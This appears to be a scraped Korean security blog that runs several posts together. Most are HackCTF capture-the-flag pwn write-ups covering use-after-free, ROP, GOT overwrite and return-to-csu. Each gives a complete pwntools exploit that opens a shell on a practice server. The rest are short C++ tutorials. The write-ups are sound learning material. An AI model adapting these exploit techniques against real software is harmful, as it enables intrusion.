H문제 파일을 보면 32비트 파일임을  확인할 수 있고, 보호기법을 확인하면 canary와 nx가 적용되어 있음을 확인할 수 있다.

파일을 실행시키면 노트 추가, 삭제, 출력 기능이 있는 것을 확인할 수 있다.

아이다로 사용된 함수들을 보면 다음과 같다. 

main 함수
add_note 함수
del_note 함수
print_note 함수
magic 함수

일단 system 함수로 flag를 출력하는 magic 함수를 호출하는것이 목적인거 같다. 

main 함수에서 사용자의 입력에 맞게 함수를 실행시켜 준다.

add_note 함수에서는 notelist 라는 전역변수 배열에 값이 있는지 확인하고, 없으면 8만큼 동적할당을 해준다. 그리고 notelist의 각 요소에 순서대로 입력한 크기만큼 동적할당을 해준다.

del_note 함수에서는 추가한 note를 삭제하면서 free를 해주고 있다. free할때는 먼저 배열의 요소에 할당한 메모리를, 그리고 그 배열 공간을 해제해준다.

print_note 함수에서 인덱스를 입력받고, 그 인덱스에 해당하는 note를 출력한다. 

del_note함수에서 free를 한 후 할당했던 메모리 공간을 초기화하지 않아서 UAF 취약점이 발생한다. 

add_note 함수에서 8을 동적할당해 줄 때 print_note_content 라는 함수 포인터를 할당하는 것을 확인할 수 있다. 

add_note 함수를 호출 하여 값을 입력한 후 bp를 잡고 메모리 영역을 확인해보면 다음과 같다. 

notelist 배열에 저장되어있는 주소값에  입력값이 저장된 주소를 갖고있고, 그 주소에 접근하면 입력된 값이 저장되어 있는 것을 확인할 수 있다. 그러나 free 이후에도 입력값을 저장하는 주소에 대한 값은 초기화되지 않는다.

따라서 notelist의 0x0966f160 자리에 magic함수 주소를 넣으면 magic 함수를 실행시킬 수 있다. 

free를 하면 함수포인터를 저장하기 위한 공간인 8바이트와 사용자가 입력한 크기가 해제되기 때문에 add_note를 두 번 호출한 후 만들어진 두 공간을 모두 해제하고, 8바이트를 할당하면 함수 포인터가 저장된 공간에 사용자 입력값이 들어가므로 입력값으로 magic 함수의 주소를 넣어 해당 함수를 실행시킬수 있다. 

이 과정을 익스 코드로 작성하면 다음과 같다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[Hack CTF] Beginner_Heap  (0) 2021.10.18
[HackCTF] RTC  (0) 2021.10.06
[HackCTF] Yes or no  (0) 2021.08.23
[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] RTL_Core  (0) 2021.07.30

file 명령어로 문제 바이너리를 확인하면 32비트 파일이고, checksec명령으로 보호기법을 확인하면 nx 보호기법만 적용되어 있는 것을 확인할 수 있다.

파일을 실행하면 두개의 주소값을 출력해주고, 두 번 입력받는 것을 확인할 수 있다.

gdb로 main 함수를 확인하면 다음과 같다.

아이다 헥스레이 기능으로 main 함수를 보면 다음과 같다.

프로그램을 실행했을 때 출력해 주는 주소값중 첫번째는 /bin/sh 문자열의 주소이고, 두번째는 system 함수의 주소값인것 같다. 

gets()함수에서 bof가 발생한다.

그러나 다음과 같이 출력하는 binsh 주소에 접근해보면 /bin/sh 문자열이 없는 것을 확인할 수 있다.

따라서 gets 함수를 이용하여 binsh 주소에 /bin/sh 문자열을 써 넣어야 한다. 

익스 과정을 생각해보면 파일에서 출력해주는 두 주소값을 저장하고, fgets()로 입력받는 부분은 더미값을 넣어 넘긴다.

gets로 입력받는 부분에서 bof를 발생시켜 binsh에 gets 함수로 /bin/sh문자열을 써 넣고 system 함수를 binsh주소를 인자로 넣어 실행한다. 작성한 익스 코드는 다음과 같고, 실행하면 쉘을 딸 수 있다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3018)
e = ELF("./gift")
pr = 0x080483ad
gets = e.plt["gets"]

p.recvuntil(": ")
binsh = int(p.recv(10), 16)
sys = int(p.recv(10), 16)
print(hex(binsh))
print(hex(sys))

p.sendline("asd")
p.recvuntil("asd\n")

pay = "A"*136
pay += p32(gets)
pay += p32(pr)
pay += p32(binsh)
pay += p32(sys)
pay += "A"*4
pay += p32(binsh)

p.sendline(pay)
p.sendline("/bin/sh\x00")

p.interactive()

문제 바이너리를 file 명령으로 확인해보면 64bit 바이너리이고, checksec 명령으로 확인하면 nx 보호기법만 있는 것을 확인할 수 있다. 

아이다에서 main 함수를 확인하면 다음과 같다. 

동적할당으로 v3(16 바이트), v3+1(8바이트), v4(16 바이트), v4+1(8바이트) 에 값을 할당하고 있고, 변수 s에 두 번 입력을 받고, s의 값을 strcpy함수로 v3+1, v4+1에 s의 값을 복사하는데, s에 입력받을 수 있는 값이 매우 크기 때문에 bof 취약점이 발생한다. 

또한 다음과 같이 0x400826에서 선언된 함수에서 flag를 출력하고 있다.

첫 번째 fgets 함수에서 v4+1까지 더미값을 채우고 main 함수에서 exit 함수를 실행하고 있으니, exit 함수의 got를 넣고, 다음 fgets 함수에서 플래그를 출력하는 함수의 주소를 넣으면 exit함수의 got가 플래그 실행함수의 주소로 써져서 exit를 실행할때 플래그를 출력할 수 있다. 더미값은 v4까지 16+8+16 = 40 바이트를 채운다. 

익스코드를 작성하면 다음과 같고, 실행하면 플래그를 얻을 수 있다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3016)
e = ELF("./beginner_heap.bin")


pay = "A" * 40
pay += p64(e.got["exit"])

p.sendline(pay)

pay = p64(0x400826)

p.sendline(pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] UAF  (0) 2021.11.12
[HackCTF] RTC  (0) 2021.10.06
[HackCTF] Yes or no  (0) 2021.08.23
[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] RTL_Core  (0) 2021.07.30

문제 바이너리를 file 명령어로 확인하면 64비트 실행 파일임을 확인할 수 있다.

적용된 보호기법을 확인하면 다음과 같다. 

gdb로 main 함수를 확인하면 다음과 같다. 

write 함수와 read함수를 호출하고 있다. main 함수를 ida 헥스레이 기능으로 확인하면 다음과 같다. 

read 함수에서 bof 취약점이 발생한다. 

문제 이름이 RTC이기 때문에 RTC공격 기법으로 이 문제를 풀이할 것이다. RTC는 Return To Csu 라는 의미로 __libc_csu_init() 함수의 일부 코드를 가젯으로 이용하는 기술이다. 이를 통해 최대 3개 인자를 갖는 함수를 호출할 수 있다. 

objdump -M intel -d 명령으로 __libc_csu_init()함수의 어셈 코드를 확인할 수 있다. 

이 함수에서 가젯으로 사용하는 부분은 0x4006ba~0x4006c4(이하 stage1)과 0x4006a0~0x4006a9(이하 stage2) 부분을 사용한다. stage1은 pop~ret 형태로 되어 있어 공격자가 원하는 값(인자)을 레지스터에 넣을 수 있고, stage2에서 stage1에서 구성된 값으로 최대 3개의 인자를 가지고 함수를 호출할 수 있다. stage1에서 r12 ~ r14 레지스터에 각 인자들이 저장되고, r15레지스터에 함수 포인터가 저장된다. stage1을 설정할 땐 rbx는 0으로 설정하는 것이 좋다. stage2에서 [r12+rbx*8]연산을 할 때 rbx가 0이면 주소 계산이 더 쉬워진다.

RTC에서는 호출하고자 하는 함수의 got을 사용한다. 또한 바이너리 내에서 호출하지 않는 함수를 직접 호출하고 싶다면 쓰기 권한이 있는 메모리 영역에 호출할 함수의 주소를 쓰고, 함수 주소가 쓰여진 주소를 사용하여 호출해야 한다. 

처음 RTC로 stage2가 실행된 후 0x4006b1 주소에서 rbx와 rbp를 비교하여 같지 않으면  stage2를 다시 실행하고, 같으면 jne코드를 통과하여 stage1을 실행하며 RTC를 이어 나갈 수 있다. 

jne 코드를 넘어가고 stage1pop~ret gadget이 실행하기 전 add rsp, 0x8로 스택이 한 칸씩 줄어든다는 점을 고려 해야 한다.

 

이제 RTC를 이용하여 문제 바이너리를 익스플로잇할 시나리오를 생각해보면 먼저 write함수의 got 주소를 leak하고, bss 영역에 /bin/sh문자열을 쓰고, write got 주소에 execve 함수 주소를 쓴다. execve 함수 주소는 처음에 leak한 write함수 got주소를 이용해 libc base 주소를 구하여 구할 수 있다. 그리고 bss를 인자로 넣어 write got을 실행하면 그 부분에 execve 함수 주소가 쓰여져 있어 쉘을 딸 수 있게 된다. 이 시나리오 대로 익스플로잇 코드를 작성하면 다음과 같다. 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3025)
e = ELF("./rtc")
libc = ELF("libc.so.6")

write_got = e.got["write"]
read_got = e.got["read"]
binsh = "/bin/sh\x00"
bss = e.bss()
s1 = 0x4006ba
s2 = 0x4006a0

p.recvuntil("?\n")

pay = "A" * 0x48
# leak write got
pay += p64(s1)
pay += p64(0)
pay += p64(1)
pay += p64(write_got)
pay += p64(8)
pay += p64(read_got)
pay += p64(1)
pay += p64(s2)

# write binsh
pay += p64(0)
pay += p64(0)
pay += p64(1)
pay += p64(read_got)
pay += p64(8)
pay += p64(bss)
pay += p64(0)
pay += p64(s2)

# write execve
pay += p64(0)
pay += p64(0)
pay += p64(1)
pay += p64(read_got)
pay += p64(8)
pay += p64(write_got)
pay += p64(0)
pay += p64(s2)

# execve("/bin/sh", 0, 0)
pay += p64(0)
pay += p64(0)
pay += p64(1)
pay += p64(write_got)
pay += p64(0)
pay += p64(0)
pay += p64(bss)
pay += p64(s2)

p.send(pay)

read = u64(p.recv(6).ljust(8, "\x00"))
print(hex(read))
lb = read - libc.symbols["read"]
execve = lb + libc.symbols["execve"]

pay = ""
pay += binsh
pay += p64(execve)

p.send(pay)
p.interactive()

 

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] UAF  (0) 2021.11.12
[Hack CTF] Beginner_Heap  (0) 2021.10.18
[HackCTF] Yes or no  (0) 2021.08.23
[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] RTL_Core  (0) 2021.07.30

C에서는 동일한 이름의 다른 내용의 함수를 정의할 수 없다. 그러나 C++에서는 매개변수의 선언만 다르게 해주면 같은 이름의 함수를 정의 할 수 있다. C에서는 호출할 함수를 찾을 때 함수의 이름만을 이용하여 찾지만, C++에서는 호출할 함수를 찾을 때 함수의 이름과 매개변수 선언의 두가지 정보를 동시에 이용하여 찾기 때문이다. 함수 오버로딩의 예시는 다음과 같다.

#include <iostream>

void MyFunc(void)
{
    std::cout << "MyFunc(void) called" << std::endl; 
}

void MyFunc(char c)
{
    std::cout << "MyFunc(char c) called" << std::endl;
}

void MyFunc(int a, int b)
{
    std::cout << "MyFunc(int a, int b) called" << std::endl;
}

int main(void)
{
    MyFunc();
    MyFunc('A');
    MyFunc(12, 13);

    return 0;
}

'Language > C, C++' 카테고리의 다른 글

[C++] new, delete  (0) 2021.08.24
[C++] Reference(참조자)  (0) 2021.08.21
[C++] 입출력  (0) 2021.08.21
[Project H4C] C언어 코딩도장(6)  (0) 2021.03.02
[C] 문자 단위 입출력 함수  (0) 2021.01.15

C에서는 malloc과 free함수를 이용하여 힙 상에서 메모리의 할당과 해제를 지원하였다. C++에서 메모리의 할당과 해제를 지원하는 것은 new와 delete다. new로 힙 상에 메모리를 할당하고, delete로 할당한 메모리를 해제한다.

#include <iostream>

int main()
{
    int* p = new int;
    *p = 10;

    std::cout << *p << std::endl;

    delete p;
    return 0;
}

 

다음과 같이 new로 배열을 할당할 수 있다.

#include <iostream>

int main()
{
    int arr_size;
    
    std::cout << "array size : ";
    std::cin >> arr_size;
    
    int *list = new int[arr_size];

    for(int i = 0; i < arr_size; i++)
        std::cin >> list[i];
    
    for(int i = 0; i < arr_size; i++)
        std::cout << i << "th element of list : " << list[i] << std::endl;
    
    delete[] list;
    return 0;
}

배열을 할당할 때는 자료형과 [] 안에 배열의 크기를 넣어주면 된다. 배열로 할당된 메모리를 해제할 때는 delete[]처럼 delete 뒤에 []을 붙여주면 된다.

'Language > C, C++' 카테고리의 다른 글

[C++] 함수 오버로딩 (Function Overloading)  (0) 2021.09.07
[C++] Reference(참조자)  (0) 2021.08.21
[C++] 입출력  (0) 2021.08.21
[Project H4C] C언어 코딩도장(6)  (0) 2021.03.02
[C] 문자 단위 입출력 함수  (0) 2021.01.15

file 명령으로 문제 바이너리를 확인하면 64비트 바이너리임을 확인할 수 있다.

 checksec 명령으로 적용된 보호기법을 확인해보면 NX 미티게이션이 걸려 있는 것을 확인할 수 있다.

아이다로 문제 바이너리를 확인하면 다음과 같다.

처음에 변수 s에 입력받고 있고, 입력받은 값을 atoi 함수를 이용하여 정수형으로 변환하여 v10에 저장하고 있다. 그리고 35번째줄의 if문에서 연산한 값과 비교하여 if문을 통과하면 gets 함수로 입력을 받고 있는데, 여기서 bof가 발생한다.

if문의 비교하는 값은 gdb를 이용하여 확인할 수 있다.

위 어셈 코드에서 main+237의 cmp문이 gets함수를 실행시키기 위한 if문의 비교하는 부분이다. 따라서 저 위치에 bp를 걸고 실행시킨 후 rax의 값을 확인하면 if문을 통과할 수 있는 값을 얻을 수 있다.

RAX에 들어있는 값이 0x960000이므로 10진수로 9830400을 입력하면 if문의 조건을 만족시켜 gets()함수를 실행시킬 수 있다.

gets() 함수로 bof를 발생시켜 쉘을 실행시키기 위해서는 서버에서 실행되는 바이너리의 puts()함수의 주소를 구하고, 문제에서 주어진 libc 파일로 puts()함수 오프셋을 구하여 libc base 주소를 구하고, libc 파일에서 구한 system 함수의 오프셋과 /bin/sh문자열의 오프셋을 이용하여 서버의 주소값을 구해 넣어주면 된다. 또 문제 설명에서 18.04 버전으로 테스트 하였다는 설명이 있었기에 payload에 ret 주소를 추가 시켜줘야 한다.

payload에서 사용되는 pop ret 가젯과 ret 주소는 다음과 같이 ROPgadget명령을 이용하여 구할 수 있다.

나머지 plt, got 주소와 offset들은 pwntools의 기능들을 이용하여 구할 수 있다.

 

작성한 익스 코드는 다음과 같다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3009)
e = ELF("./yes_or_no")
libc = ELF("./libc-2.27.so")

puts_plt = e.plt['puts']
puts_got = e.got['puts']
puts_offset = libc.symbols['puts']
sys_offset = libc.symbols['system']
main = e.symbols['main']
binsh = list(libc.search("/bin/sh"))[0]
pr = 0x000000000400883
ret = 0x000000000040056e

p.sendlineafter("~!\n", "9830400")

pay = "A"*26
pay += p64(pr)
pay += p64(puts_got)
pay += p64(puts_plt)
pay += p64(main)

p.sendlineafter("me\n", pay)

puts_addr = u64(p.recv(6) + b"\x00\x00")
libc_base = puts_addr - puts_offset
sys_addr = libc_base + sys_offset
binsh_addr = libc_base + binsh

pay = "A"*26
pay += p64(pr)
pay += p64(binsh_addr)
pay += p64(ret)
pay += p64(sys_addr)

p.sendlineafter("~!\n", "9830400")
p.sendlineafter("me\n", pay)

p.interactive()

익스코드를 실행하면 다음과 같이 플래그를 얻을 수 있다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[Hack CTF] Beginner_Heap  (0) 2021.10.18
[HackCTF] RTC  (0) 2021.10.06
[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] RTL_Core  (0) 2021.07.30
[HackCTF] Random Key  (0) 2021.07.28

C에서는 어떠한 변수를 가리키려면 반드시 포인터를 사용해야 했다.

C++에서는 포인터 말고도 레퍼런스(참조자)라는 방식으로 다른 변수나 상수를 가리킬 수 있다.

#include <iostream>

int main()
{
    int a = 3;
    int& another_a = a;     // 참조자 사용

    another_a = 5;
    std::cout << "a : " << a << std::endl;
    std::cout << "another_a : " << another_a << std::endl;

    return 0;
}

위 코드에서는 a 의 참조자 another_a를 정의하였는데, 참조자는 가리키고자 하는 타입 뒤에 &를 붙이면 된다. 

참조자를 선언한다는 것은 another_a는 a의 또 다른 이름이라고 컴파일러에게 알려주는 것이다. 따라서 위 코드에는 another_a에 5를 대입하였지만 a의 값이 5로 바뀐 것을 확인할 수 있다.

레퍼런스(참조자)는 포인터와 비슷하지만 몇가지 차이점이 있다. 레퍼런스는 반드시 정의할 때 어떤 변수나 상수의 별명이 될 것인지 지정해야 한다. int& another_a; 와 같은 형식의 코드는 불가능하다. 또한 레퍼런스가 한 번 별명이 되면 더 이상 다른 변수를 참조 할 수 없다. 

레퍼런스는 메모리 상에 존재하지 않을 수도 있다. 위 코드의 경우 another_a 변수는 메모리 상의 공간을 차지하지 않고 another_a가 쓰이는 자리를 모두 a로 바꾸면 되기 때문이다.

#include <iostream>

int change_var(int& p)
{
    p = 3;

    return 0;
}

int main()
{
    int num = 5;

    std::cout << num << std::endl;
    change_var(num);
    std::cout << num << std::endl;
    
    return 0;
}

위 코드에서는 함수의 인자로 레퍼런스를 받고 있다. 위 설명에서 int& p; 와 같은 코드는 사용할 수 없다고 했지만 함수의 인자로 사용하게 되면 int& p = num;의 의미가 되어 상관없다. 또한 인자로 변수를 넣을 때에도 포인터와 다르게 &num이 아닌 num을 넣으면 된다. 따라서 change_var()함수의 p=3; 이라는 코드는 num = 3; 이라는 코드와 동일하다.

 

#include <iostream>

int main()
{
    const int& ref = 4;

    std::cout << ref << std::endl;
    return 0;
}

위 코드와 같이 리터럴 값을 참조하려면 상수 참조자로 선언해야 한다.

 

레퍼런스의 배열은 C++ 규정상 표준안 8.3.2/4 에 선언할 수 없다고 명시되어 있다.

그러나 반대로 배열들은 레퍼런스로 참조가 가능하다.

#include <iostream>

int main()
{
    int arr[3] = {1, 2, 3};
    int(&ref)[3] = arr;

    ref[0] = 2;
    ref[1] = 3;
    ref[2] = 1;

    std::cout << arr[0] << arr[1] << arr[2] << std::endl;
    return 0;
}

위 코드와 같이 배열의 크기를 명시하여 배열을 참조할 수 있다.

 

#include <iostream>

int function()
{
    int a = 5;
    return a;
}

int main()
{
    const int& c = function();
    std::cout << c << std::endl;
    return 0;
}

위 코드처럼 참조자가 아닌 값을 리턴하는 함수 값을 참조자로 받을 수 있다. 함수의 리턴값을 참조자로 받으려면 const로 선언해줘야 한다.

'Language > C, C++' 카테고리의 다른 글

[C++] 함수 오버로딩 (Function Overloading)  (0) 2021.09.07
[C++] new, delete  (0) 2021.08.24
[C++] 입출력  (0) 2021.08.21
[Project H4C] C언어 코딩도장(6)  (0) 2021.03.02
[C] 문자 단위 입출력 함수  (0) 2021.01.15
#include <iostream>

int main()
{
    char *inp;

    // std::cout : 출력
    std::cout << "[+] Input : ";
    // std::cin : 입력
    std::cin >> inp;
    
    std::cout << "[+] Output : ";
    // std::endl : 줄 바꿈
    std::cout << inp << std::endl;

    return 0;
}

iostream 은 Input/Output Stream의 약자로 c++에서 입출력을 위한 헤더 파일이다. 

출력은 std::cout로, 입력은 std::cin으로 받을 수 있다. 

std::endl은 출력 후 줄을 바꿔준다.

'Language > C, C++' 카테고리의 다른 글

[C++] new, delete  (0) 2021.08.24
[C++] Reference(참조자)  (0) 2021.08.21
[Project H4C] C언어 코딩도장(6)  (0) 2021.03.02
[C] 문자 단위 입출력 함수  (0) 2021.01.15
[C] 스트림  (0) 2021.01.15

file 명령어로 문제 파일을 확인하면 32비트 바이너리임을 확인할 수 있다.

checksec 명령으로 적용된 보호기법을 확인하면 NX 보호기법만 적용되어 있는 것을 확인할 수 있다.

바이너리를 실행하면 입력을 받고, WIN을 출력해주는 것을 확인할 수 있다.

gdb로 함수 목록을 보면 main 함수도 없어서 당황했는데, ida로는 확인할 수 있었다.

main 함수를 보면 sub_80483F4() 함수를 호출하고, write 함수로 WIN을 출력하는 것을 확인할 수 있다.

sub_80483F4(); 함수를 확인하면 다음과 같다.

크기 136의 buf 변수를 선언하고 있고, read 함수에서 buf 변수에 입력을 받고 있다. 이때 0x100(256)크기 만큼 입력을 받고 있기 때문에 bof가 발생한다. 

 

rop 기법으로 system("/bin/sh")을 실행 시켜서 쉘을 실행 시켜야 할 것 같다. 

먼저 read 함수의 plt와 got, write 함수의 plt 주소를 찾아 read 함수의 got에 system 함수의 주소를 덮어야 한다. 사용할 함수들의 plt와 got는 pwntools의 plt와 got 기능을 이용하여 구할 수 있다.

그리고 read 함수와 system 함수의 offset은 다음과 같이 구할 수 있다.

read 함수와 write 함수는 인자가 3개이기 때문에 계속 호출하기 위한 pop pop pop ret gadget은 objdump -D ./ropasaurusrex | grep -B3 ret 명령으로 구할 수 있다.  

system 함수의 인자로 들어갈 /bin/sh 문자열이 저장될 공간은 readelf -S 명령으로 헤더에서 저장할 수 있는 공간을 찾을 수 있다.

이 바이너리의 경우 .dynamic에 /bin/sh 문자열을 저장하면 될 것 같다.

위에서 구한 정보들로 rop 익스 코드를 작성하면 다음과 같다.

from pwn import *

p = process("./ropasaurusrex")
e = ELF("./ropasaurusrex")

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
sys_offset = 0x9ae70
dy = 0x08049530
pppr = 0x080484b6
binsh = "/bin/sh\x00"

pay = "A" * 140
pay += p32(read_plt)
pay += p32(pppr)
pay += p32(0)
pay += p32(dy)
pay += p32(len(binsh))

pay += p32(write_plt)
pay += p32(pppr)
pay += p32(1)
pay += p32(read_got)
pay += p32(4)

pay += p32(read_plt)
pay += p32(pppr)
pay += p32(0)
pay += p32(read_got)
pay += p32(len(binsh))

pay += p32(read_plt)
pay += "B" * 4
pay += p32(dy)

p.send(pay)
p.send(binsh)

read = p.recv(4)
sys = u32(read) - sys_offset

p.sendline(p32(sys))
p.interactive()

익스코드를 실행하면 다음과 같이 쉘을 딸 수 있다.

'Security & Hacking > CTF Write Up' 카테고리의 다른 글

[CodeGate 2017] babypwn  (0) 2021.08.10
[pbctf 2020][web] Apoche I  (0) 2020.12.08
[2020riceteacatpanda]  (0) 2020.01.26
[Insomni'hack teaser 2020][Web] LowDeep  (0) 2020.01.20

+ Recent posts